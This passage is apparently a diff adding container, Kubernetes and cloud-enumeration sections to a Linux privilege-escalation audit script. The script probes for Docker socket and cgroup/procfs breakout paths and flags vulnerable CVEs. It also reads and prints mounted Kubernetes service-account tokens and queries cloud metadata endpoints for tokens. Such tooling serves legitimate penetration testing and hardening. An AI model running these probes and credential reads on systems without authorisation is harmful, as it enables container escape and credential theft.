+ echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g"
+ echo "Docker enummeration:"
+ docker_enumerated=""
+
+ if [ "$(command -v curl)" ]; then
+ sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)"
+ dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4)
+ echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"'
+ if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi
+ fi
+
+ if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then
+ sockInfoResponse="$(docker info)"
+ dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4)
+ printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"'
+ fi
+
+ else
+ echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g"
+ fi
+
+ else
+ echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g"
+ fi
+ done
+ fi
+}
+
+checkDockerVersionExploits() {
+ if echo "$dockerVersion" | grep -iq "not found"; then
+ VULN_CVE_2019_13139="$(echo_not_found)"
+ VULN_CVE_2019_5736="$(echo_not_found)"
+ return
+ fi
+
+ VULN_CVE_2019_13139="$(echo_no)"
+ if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1895" ]; then
+ VULN_CVE_2019_13139="Yes"
+ fi
+
+ VULN_CVE_2019_5736="$(echo_no)"
+ if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1893" ]; then
+ VULN_CVE_2019_5736="Yes"
+ fi
+}
+
+checkContainerExploits() {
+ VULN_CVE_2019_5021="$(echo_no)"
+ if [ -f "/etc/alpine-release" ]; then
+ alpineVersion=$(cat /etc/alpine-release)
+ if [ "$(echo $alpineVersion | sed 's,\.,,g')" -ge "330" ] && [ "$(echo $alpineVersion | sed 's,\.,,g')" -le "360" ]; then
+ VULN_CVE_2019_5021="Yes"
+ fi
+ fi
+}
+
+checkCreateReleaseAgent(){
+ cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys
+ do
+ if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then
+ release_agent_breakout2="Yes (unshare with $subsys)";
+ rm -rf /tmp/cgroup_3628d4
+ break
+ fi
+ done
+}
+
+checkProcSysBreakouts(){
+ dev_mounted="No"
+ if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then
+ dev_mounted="Yes";
+ fi
+
+ proc_mounted="No"
+ if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then
+ proc_mounted="Yes";
+ fi
+
+ run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null)
+ if ! [ "$run_unshare" = "Yes" ]; then
+ run_unshare="No"
+ fi
+
+ if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then
+ release_agent_breakout1="Yes"
+ else
+ release_agent_breakout1="No"
+ fi
+
+ release_agent_breakout2="No"
+ mkdir /tmp/cgroup_3628d4
+ mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
+ if [ $? -eq 0 ]; then
+ release_agent_breakout2="Yes";
+ rm -rf /tmp/cgroup_3628d4
+ else
+ mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null
+ if [ $? -eq 0 ]; then
+ release_agent_breakout2="Yes";
+ rm -rf /tmp/cgroup_3628d4
+ else
+ checkCreateReleaseAgent
+ fi
+ fi
+ rm -rf /tmp/cgroup_3628d4 2>/dev/null
+
+ core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
+ modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)"
+ panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
+ panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
+ binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
+ proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)"
+ sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)"
+ kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev
+ kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev
+ mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi
+ kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)"
+ vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)"
+ efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)"
+ efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)"
+}
+
+
+##############################################
+#---------------) Containers (---------------#
+##############################################
+containerCheck
+
+print_2title "Container related tools present (if any):"
+command -v docker
+command -v lxc
+command -v rkt
+command -v kubectl
+command -v podman
+command -v runc
+
+if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then
+ print_2title "Am I Containered?"
+ execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
+fi
+
+print_2title "Container details"
+print_list "Is this a container? ...........$NC $containerType"
+
+print_list "Any running containers? ........ "$NC
+# Get counts of running containers for each platform
+dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l)
+podmancontainers=$(podman ps --format "{{.Names}}" 2>/dev/null | wc -l)
+lxccontainers=$(lxc list -c n --format csv 2>/dev/null | wc -l)
+rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l)
+if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ] && [ "$podmancontainers" -eq "0" ]; then
+ echo_no
+else
+ containerCounts=""
+ if [ "$dockercontainers" -ne "0" ]; then containerCounts="${containerCounts}docker($dockercontainers) "; fi
+ if [ "$podmancontainers" -ne "0" ]; then containerCounts="${containerCounts}podman($podmancontainers) "; fi
+ if [ "$lxccontainers" -ne "0" ]; then containerCounts="${containerCounts}lxc($lxccontainers) "; fi
+ if [ "$rktcontainers" -ne "0" ]; then containerCounts="${containerCounts}rkt($rktcontainers) "; fi
+ echo "Yes $containerCounts" | sed -${E} "s,.*,${SED_RED},"
+
+ # List any running containers
+ if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${SED_RED},"; docker ps | tail -n +2 2>/dev/null; echo ""; fi
+ if [ "$podmancontainers" -ne "0" ]; then echo "Running Podman Containers" | sed -${E} "s,.*,${SED_RED},"; podman ps | tail -n +2 2>/dev/null; echo ""; fi
+ if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${SED_RED},"; lxc list 2>/dev/null; echo ""; fi
+ if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi
+fi
+
+# If docker
+if echo "$containerType" | grep -qi "docker"; then
+ print_2title "Docker Container details"
+ inDockerGroup
+ print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "Looking and enumerating Docker Sockets (if any):\n"$NC
+ enumerateDockerSockets
+ print_list "Docker version .................$NC$dockerVersion"
+ checkDockerVersionExploits
+ print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ if [ "$inContainer" ]; then
+ checkDockerRootless
+ print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
+ echo ""
+ fi
+ if df -h | grep docker; then
+ print_2title "Docker Overlays"
+ df -h | grep docker
+ fi
+fi
+
+# If token secrets mounted
+if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then
+ print_2title "Listing mounted tokens"
+ print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod"
+ ALREADY="IinItialVaaluE"
+ for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
+ TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
+ if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
+ ALREADY="$ALREADY|$TOKEN"
+ echo "Directory: $i"
+ echo "Namespace: $(cat $i)"
+ echo ""
+ echo $TOKEN
+ echo "================================================================================"
+ echo ""
+ fi
+ done
+fi
+
+if [ "$inContainer" ]; then
+ echo ""
+ print_2title "Container & breakout enumeration"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
+ print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')"
+ if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then
+ print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
+ fi
+ print_list "Seccomp enabled? ............... "$NC
+ ([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
+
+ print_list "AppArmor profile? .............. "$NC
+ (cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
+
+ print_list "User proc namespace? ........... "$NC
+ if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
+
+ checkContainerExploits
+ print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+
+ print_3title "Breakout via mounts"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
+
+ checkProcSysBreakouts
+ print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "Run unshare .................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
+ print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED},"
+ if [ "$EXTRA_CHECKS" ]; then
+ print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
+ fi
+
+ echo ""
+ print_3title "Namespaces"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces"
+ ls -l /proc/self/ns/
+
+ if echo "$containerType" | grep -qi "kubernetes"; then
+ print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n"
+ print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n"
+ echo ""
+
+ print_2title "Kubernetes Information"
+ print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod"
+
+
+ print_3title "Kubernetes service account folder"
+ ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null
+ echo ""
+
+ print_3title "Kubernetes env vars"
+ (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType="
+ echo ""
+
+ print_3title "Current sa user k8s permissions"
+ print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes"
+ kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \
+ "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
+ -X 'POST' -H 'Content-Type: application/json' \
+ --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED},"
+
+ fi
+ echo ""
+
+ print_2title "Container Capabilities"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape"
+ if [ "$(command -v capsh)" ]; then
+ capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
+ else
+ defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap"
+ cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
+ echo $ITALIC"Run capsh --decode=<hex> to decode the capabilities"$NC
+ fi
+ echo ""
+
+ print_2title "Privilege Mode"
+ if [ -x "$(command -v fdisk)" ]; then
+ if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then
+ echo "Privilege Mode is enabled"| sed -${E} "s,enabled,${SED_RED_YELLOW},"
+ else
+ echo "Privilege Mode is disabled"| sed -${E} "s,disabled,${SED_GREEN},"
+ fi
+ else
+ echo_not_found
+ fi
+ echo ""
+
+ print_2title "Interesting Files Mounted"
+ (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g"
+ echo ""
+
+ print_2title "Possible Entrypoints"
+ ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq
+ echo ""
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q cloud; then
+print_title "Cloud"
+###########################################
+#-----------) Cloud functions (-----------#
+###########################################
+
+GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append"
+GCP_BAD_SCOPES="/cloud-platform|/compute"
+
+exec_with_jq(){
+ if [ "$(command -v jq)" ]; then
+ $@ | jq 2>/dev/null;
+ if ! [ $? -eq 0 ]; then
+ $@;
+ fi
+ else
+ $@;
+ fi
+}
+
+check_gcp(){
+ is_gcp_vm="No"
+ is_gcp_function="No"
+ if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
+ is_gcp_vm="Yes"
+ fi
+ # CHeck if /workspace exists
+ if [ -d "/workspace" ] && [ -d "/layers" ]; then
+ is_gcp_vm="No"
+ is_gcp_function="Yes"
+ fi
+}
+
+check_do(){
+ is_do="No"
+ if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then
+ is_do="Yes"
+ fi
+}
+
+check_aliyun_ecs () {
+ is_aliyun_ecs="No"
+ if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then
+ is_aliyun_ecs="Yes"
+ fi
+}
+
+check_tencent_cvm () {
+ is_tencent_cvm="No"
+ if grep -qi Tencent /etc/cloud/cloud.cfg; then
+ is_tencent_cvm="Yes"
+ fi
+}
+
+check_ibm_vm(){
+ is_ibm_vm="No"
+ if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then
+ curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1
+ if [ "$?" -eq 0 ]; then
+ IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) )
+ is_ibm_vm="Yes"
+ fi
+ fi
+}
+
+check_aws_ecs(){
+ is_aws_ecs="No"
+ if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
+ is_aws_ecs="Yes";
+ aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4;
+ aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
+
+ elif (env | grep -q ECS_CONTAINER_METADATA_URI); then
+ is_aws_ecs="Yes";
+ aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI;
+ aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
+
+ elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
+ is_aws_ecs="Yes";
+ fi
+
+ if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
+ aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
+ fi
+}
+
+check_aws_ec2(){
+ is_aws_ec2="No"
+ is_aws_ec2_beanstalk="No"
+
+ if [ -d "/var/log/amazon/" ]; then
+ is_aws_ec2="Yes"
+ EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
+
+ else
+ EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
+ if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then
+ is_aws_ec2="Yes"
+ fi
+ fi
+
+ if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then
+ is_aws_ec2_beanstalk="Yes"
+ fi
+}
+
+check_aws_lambda(){
+ is_aws_lambda="No"
+
+ if (env | grep -q AWS_LAMBDA_); then
+ is_aws_lambda="Yes"
+ fi
+}
+
+check_aws_codebuild(){
+ is_aws_codebuild="No"
+
+ if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then
+ is_aws_codebuild="Yes"
+ fi
+}
+
+check_az_vm(){
+ is_az_vm="No"
+
+ if [ -d "/var/log/azure/" ]; then
+ is_az_vm="Yes"
+
+ elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then
+ is_az_vm="Yes"
+ fi
+}
+
+check_az_app(){
+ is_az_app="No"
+
+ if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then
+ is_az_app="Yes"
+ fi
+}
+
+
+check_gcp
+print_list "GCP Virtual Machine? ................. $is_gcp_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+print_list "GCP Cloud Funtion? ................... $is_gcp_function\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_aws_ecs
+print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_aws_ec2
+print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_aws_lambda
+print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_aws_codebuild
+print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_do
+print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_aliyun_ecs
+print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_tencent_cvm
+print_list "Tencent CVM? .......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_ibm_vm
+print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_az_vm
+print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_az_app
+print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+
+echo ""
+
+if [ "$is_tencent_cvm" = "Yes" ]; then
+ tencent_req=""
+ if [ "$(command -v curl)" ]; then
+ tencent_req='curl -sfkG'
+ elif [ "$(command -v wget)" ]; then
+ tencent_req='wget -q -O '
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+
+ print_2title "Tencent CVM Enumeration"
+ print_info "https://cloud.tencent.com/document/product/213/4934"
+ # Todo: print_info "Hacktricks Documents needs to be updated"
+
+ echo ""
+ print_3title "Instance Info"
+ i_tencent_owner_account=$(eval $tencent_req http://169.254.0.23/latest/meta-data/app-id)
+ [ "$i_tencent_owner_account" ] && echo "Tencent Owner Account: $i_tencent_owner_account"
+ i_hostname=$(eval $tencent_req http://169.254.0.23/latest/meta-data/hostname)
+ [ "$i_hostname" ] && echo "Hostname: $i_hostname"
+ i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-id)
+ [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id"
+ i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/uuid)
+ [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id"
+ i_instance_name=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-name)
+ [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name"
+ i_instance_type=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance/instance-type)
+ [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type"
+ i_region_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/region)
+ [ "$i_region_id" ] && echo "Region ID: $i_region_id"
+ i_zone_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/zone)
+ [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id"
+
+ echo ""
+ print_3title "Network Info"
+ i_pri_ipv4=$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/primary-local-ipv4)
+ [ "$i_pri_ipv4" ] && echo "Primary IPv4: $i_pri_ipv4"
+
+
+ echo "========"
+ for mac in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do
+ echo " Mac: $mac"
+ echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/public-ipv4s)
+ echo " Mac vpc id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/vpc-id)
